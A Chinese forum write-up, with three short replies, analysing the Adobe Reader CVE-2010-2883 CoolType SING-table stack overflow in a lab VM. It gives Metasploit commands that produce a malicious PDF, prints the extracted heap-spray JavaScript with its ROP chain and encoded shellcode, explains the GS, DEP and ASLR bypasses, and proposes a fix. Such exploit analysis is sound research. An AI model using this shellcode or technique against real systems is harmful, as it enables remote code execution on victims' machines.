首页
社区
课程
招聘
[原创]CVE-2010-2883漏洞分析(栈溢出
2020-1-11 11:14 11378

[原创]CVE-2010-2883漏洞分析(栈溢出

2020-1-11 11:14
11378

目录

01-漏洞描述

  • 漏洞战争:Adobe Reader 和 Acrobat中的 Cooltype.dll 库在解析字体文件 SING 表中的 UniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的 PDF 文件就有可能导致执行任意代码
  • https://cve.mitre.org:Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010.

02-测试环境

  • 目标系统:Windows7 专业版(虚拟机
  • OllyDebug:动态调试
  • IDA Pro:静态分析
  • PdfStreamDumper:提取PDF数据
  • Adobe Reader 9.3.4:漏洞软件
  • Metasploit:复现漏洞

03-漏洞复现

  1. msf生成恶意文件
     # 搜索并使用模块
     msf5 > search cve-2010-2883
     msf5 > use exploit/windows/fileformat/adobe_cooltype_sing
     # 设置payload
     msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
     # 设置参数:弹出计算器
     msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
     # 攻击:生成恶意pdf文件
     msf5 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
    
  2. 恶意文件复制到目标机,Adobe Reader打开,成功弹出计算器
  3. PS:也可设置payload为强大的meterpreter,获取反弹shell

04-准备工作

4.1-漏洞定位-基于字符串

  1. 根据漏洞描述,得关键字符串:“SING”、漏洞所在文件:Cooltype.dll
  2. IDA静态分析:打开Cooltype.dll ,Alt+t搜索“SING”,获得多条记录
    image-20200109153945146
  3. 依次进入检查是否有敏感代码:记录2地址0803DD74处,发现敏感函数strcat,其在拼接字符串时,若不进行长度检查,则会造成栈溢出,初步断定strcat处为溢出点
    image-20200109154723463
  4. 详细分析溢出点所在函数的代码块(三处关键点
    image-20200109171058551

4.2-判定安全机制

  • GS:由IDA中汇编代码分析,函数开始处有安全cookie,因此判定存在GS机制
  • DEP:数据执行保护,即没有执行权限的内存空间不允许执行代码,这已然成为程序标配
  • ASLR:地址空间布局随机化,包含映像随机化与堆栈随机化,010Editor打开目标exe,找到相关字段,发现已开启
    image-20200110153747769

4.3-SING表结构分析

  1. PDFStreamDumper打开恶意pdf文件,菜单-Search For-TTF fonts,搜索ttf所在Object,自动跳转到第10个,本Object中,ctrl+f搜索字符串“SING”,如下
    image-20200109191201941
  2. TTF中关于SING表的TableEntry(可理解为SING头)结构如下,找到SING表主体所在位置:0000011C
     typedef sturct_SING
     {
         char tag[4];//"SING"
         ULONG checkSum;//校验和
         ULONG offset;//相对文件偏移,0000011C
         ULONG length;//数据长度
     } TableEntry;
    
    image-20200109192548467
  3. SING表结构如下,偏移为0x10处为uniqueName字段处,即上图0x0000012C处
    image-20200109192803886

4.4-JS堆喷射代码

  1. PDFStreamDumper打开恶意pdf文件,在第一个object处找到OpenAction,表示其在第11个obj中,PDF运行时会执行里面脚本
    image-20200110150253963
  2. 进入第11个obj,表示执行的js代码位于第12个obj中
    image-20200110150415569
  3. 进入12obj,发现实现堆喷射的js脚本
    image-20200110150527026
  4. 目测代码是经过混淆过的,简单整理后获得js代码
    var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud7da%u82ba%ube98%ud9de%u2474%u5ef4%uc931%u31b1%uee83%u31fc%u1456%u5603%u7a96%u224b%uf87e%udbb4%u9d7e%u3e3d%u9d4f%u4a5a%u2dff%u1e28%uc6f3%u8b7c%uab80%ubca8%u0121%uf38f%u3ab2%u92f3%u4130%u7520%u8a09%u7435%uf74e%u24b4%u7307%ud96a%uc92c%u52b7%udf7e%u87bf%ude36%u19ee%ub94d%u9b30%ub182%u8378%ufcc7%u3833%u8a33%ue8c5%u730a%ud569%u86a3%u1173%u7903%u6b06%u0470%ua811%ud20b%u2b94%u91ab%u900f%u754a%u53c9%u3240%u3c9d%uc544%u3772%u4e70%u9875%u14f1%u3c52%uce5a%u65fb%ua106%u7504%u1ee9%ufda1%u4a07%u5fd8%u8d4d%uda6e%u8d23%ue570%ue613%u6e41%u71fc%ua55e%u8eb9%ue414%u06eb%u7cf1%u4aae%uab02%u72ec%u5e81%u808c%u2a99%ucd89%uc61d%u5ee3%ue8c8%u5e50%u8ad9%ucc37%u6281%u74d2%u7b23' );
    var nop = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
    while (nop.length + 20 + 8 < 65536) 
     nop+=nop;
    d = nop.substring(0, (0x0c0c-0x24)/2);
    d += shellcode;
    d += nop;
    e = d.substring(0, 65536/2);
    while(e.length < 0x80000) 
     e += e;
    h = e.substring(0, 0x80000 - (0x1020-0x08) / 2);
    var slide = new Array();
    for (i=0;i<0x1f0;i++) 
     slide[i]=h+"s";
    

05-Exploit脚本分析

脚本文件:adobe_cooltype_sing.rb

5.1-exploit()

image-20200109200855435

5.2-make_ttf()

  • 构建ttf,主要是其内部的SING表-UniqueName字段
  • 其中有3处需要注意:
    image-20200109202036314
  • 0x4a80cb38和0x4a82a714是两个ROP块的起始地址,二者均位于icucnv36.dll文件中;(出自《漏洞战争》:在 Adobe Reader 的各版本上,这个 dll 上的这两处地址是始终不变的,因而保持了各版本的兼容性和 Exploit 的稳定性);
  • 0x0c0c0c0c是作为上述两ROP块跳转后,新的ESP地址,一旦retn,eip=[0x0c0c0c0c],便可以获取程序执行流程,以呼应后面js中的堆喷射

5.3-make_js()

  • 构造一个ROP块,内含多个API,以绕过数据执行保护DEP
    image-20200109205422860
    image-20200109205226207
    image-20200109205240108
    image-20200109205257124
  • 将ROP块与msf中所选payload合并,以实现最终payload
    image-20200109205448483
  • 构建堆喷射的JS代码
    image-20200109205542597

5.4-make_pdf()

构建pdf文件:添加ttf、js
image-20200109205947491

06-OD动态调试

6.1-产生溢出

  1. 打开Adobe Reader,OD中附加进程,溢出点strcat处下断(因加载基址不同,位置也相应变化)
  2. 溢出前,源地址数据如下:可见是SING表中uniqueName字段的内容
    image-20200109194046518
  3. 简单分析:
    • 正常情况下uniqueName字段为28字节,远远小于栈空间大小0x104(如4.1-4),故不会发生溢出;
    • 但是若经过特殊构造,基于strcat复制内存时的特性(直至遇到NULL才停止),则会出现溢出
    • 如上图,此字段目前已有大小0x13E+(况且还没遇到NULL),早已大于固定的栈空间大小,一定会产生溢出
  4. 单步,执行strcat函数后,因目标地址位于栈中,因此栈遭到破坏,栈溢出发生!
    image-20200109194704356
  5. 将上面复制进去的数据下内存访问断点,F9执行,前面都是些无关紧要的访问,直至遇到call(敏感操作:调用栈中的地址)
    image-20200109195531266

6.2-ROP绕DEP

  • OD中,单步执行call [eax]那条指令,进入第一个ROP块
    image-20200109204400899
  • retn后进入第二个ROP块
    image-20200109204432204
  • 执行完两个ROP后,结合JS堆喷射,便完美控制程序流程
    image-20200109204933899
  • 观察栈中数据,出现各API:CreateFileA、CreateFileMappingA、MapViewOfFile、memcpy,依次下断,观察参数
  • 执行至CreateFileA,创建一个文件:名字-iso88951、权限-所有、属性-隐藏
    image-20200109210905235
  • 执行至CreateFileMappingA,创建映射对象:hFile为上述创建的文件句柄(文件与物理页映射,以便为程序提供共享内存)、属性为读/写/执行(绕过DEP)、大小为0x10000(存储shellcode足矣)、
    image-20200109211113584
  • 执行至MapViewOfFile,将物理页与进程虚拟地址进行映射:hMapObject为上述创建的映射对象句柄;
    image-20200109211759279
  • 执行后,发现进程虚拟空间中多了一块地址,且具有执行权限,正式iso文件映射而来的共享内存
    image-20200109212146437
  • 执行至memcpy,拷贝内存:目的地址是刚申请的具有执行权限的内存空间、而源地址应该就是shellcode所在地
    image-20200109212342715
    image-20200109212540025

6.3-执行shellcode

  • 执行memcpy后,目的地填充为shellcode,下内存访问断点,可何时访问
    image-20200109213223462
  • F9执行,发现会有解密操作,原因是exploit脚本中对js进行了加密
    image-20200109213458312
  • 取消断点,循环解密后F2,使其完成解密,此时发现shellcode中出现字符串“cacl.exe”,正是msf中设置的c++属性,即payload-Windows/exec要执行的计算器程序
    image-20200109213817626
  • Windows/exec会调用系统API:WinExec,ctrl+g搜索并下断,执行至此,发现确实是计算器程序(若设置的payload为meterpreter,则是建立网络链接去反向连接攻击者
    image-20200109213952791
  • F9放行,成功弹出计算器,即成功执行payload,大功告成!

07-修复方案

  • 归根结底,是因为strcat执行前没有检查输入长度,使得大小不固定的空间可被复制到具有固定大小的栈空间中
  • 在执行strcat前,先strlen判定一下长度,再进行操作
  • 或者直接使用strncat限定长度来进行字符串拼接

08-知识总结

8.1-绕过GS

  • 尽管通过安全cookie的检查,可以很好的探测栈是否被破坏/溢出;但是其也有很大弊端:只有在函数返回前,才会去检查security cookie,在之前是没有任何保护措施的
  • 故只要在安全cookie被检查之前劫持程序流程,就可无视GS保护,如OD中所示,产生溢出后,下内存访问断点,会有call 栈内数据的操作,由此直接劫持程序流程,从而绕过GS
    image-20200110154908752

8.2-绕过DEP

  • 通过构造ROP链,利用程序自身加载的库文件中的指令,来拼接出一系列指令去执行
  • 如上述所言,构造的ROP链依次调用了:CreateFileA、CreateFileMapping、MapViewOfFile这些API,为进程申请了一块具有读写执行权限的共享内存空间;
  • 进一步调用memcpy将shellcode复制到此空间,从而实现shellcode的执行,绕过DEP

8.3-绕过ASLR

  • 尽管开启ASLR后,其对堆基址做了随机化处理,但对于Heap Spray来说是无效的
  • 不管怎样对堆基址进行随机化,其基址总会出现在较低的内存空间,远远小于堆喷射所需的0x0c0c0c0c地址,因此,Heap spray 完全可以绕过 ASLR

8.4-思路总结

  1. 构造恶意数据,实现栈溢出
  2. 函数返回前(安全cookie检查前),调用恶意数据中的地址,开始实施ROP
  3. 通过ROP,劫持执行流程指向0x0C0C0C0C
  4. js堆喷射覆盖地址0x0C0C0C0C,从而执行另一块ROP
  5. ROP块中为进程申请可执行权限的内存空间,并将shellcode复制其中
  6. shellcode执行,成功利用!

09-参考文献

  • 《漏洞战争》
  • 《0day安全软件漏洞分析技术》
  • 《Metasploit渗透测试魔鬼训练营》

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2020-2-19 15:49 被21Gun5编辑 ,原因: 显示不全
收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
A1exxx 2020-7-23 16:30
2
0

在win10上调试了一下,现在win10在 执行到 0c0c0c0c 处就会发生崩溃。原因是 0x0c0c0c0c处不具有可执行权限,请问这个 在你这边调试不会遇到这个问题吗?自问自答 DEP的问题,win10下需要尝试 实现其他思路。

最后于 2020-7-23 17:30 被A1exxx编辑 ,原因:
雪    币: 228
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Sinky-wang 2020-7-24 17:56
3
0
大佬能不能详细写一下od的调试过程,我od动态调试失败了,我尝试了几十次……求求QAQ
雪    币: 8105
活跃值: (2548)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
dig_grave 2020-8-10 12:02
4
0
Sinky-wang 大佬能不能详细写一下od的调试过程,我od动态调试失败了,我尝试了几十次……求求QAQ
你可以试试od里的忽略异常,我开始学的时候就进这个坑了。
游客
登录 | 注册 方可回帖
返回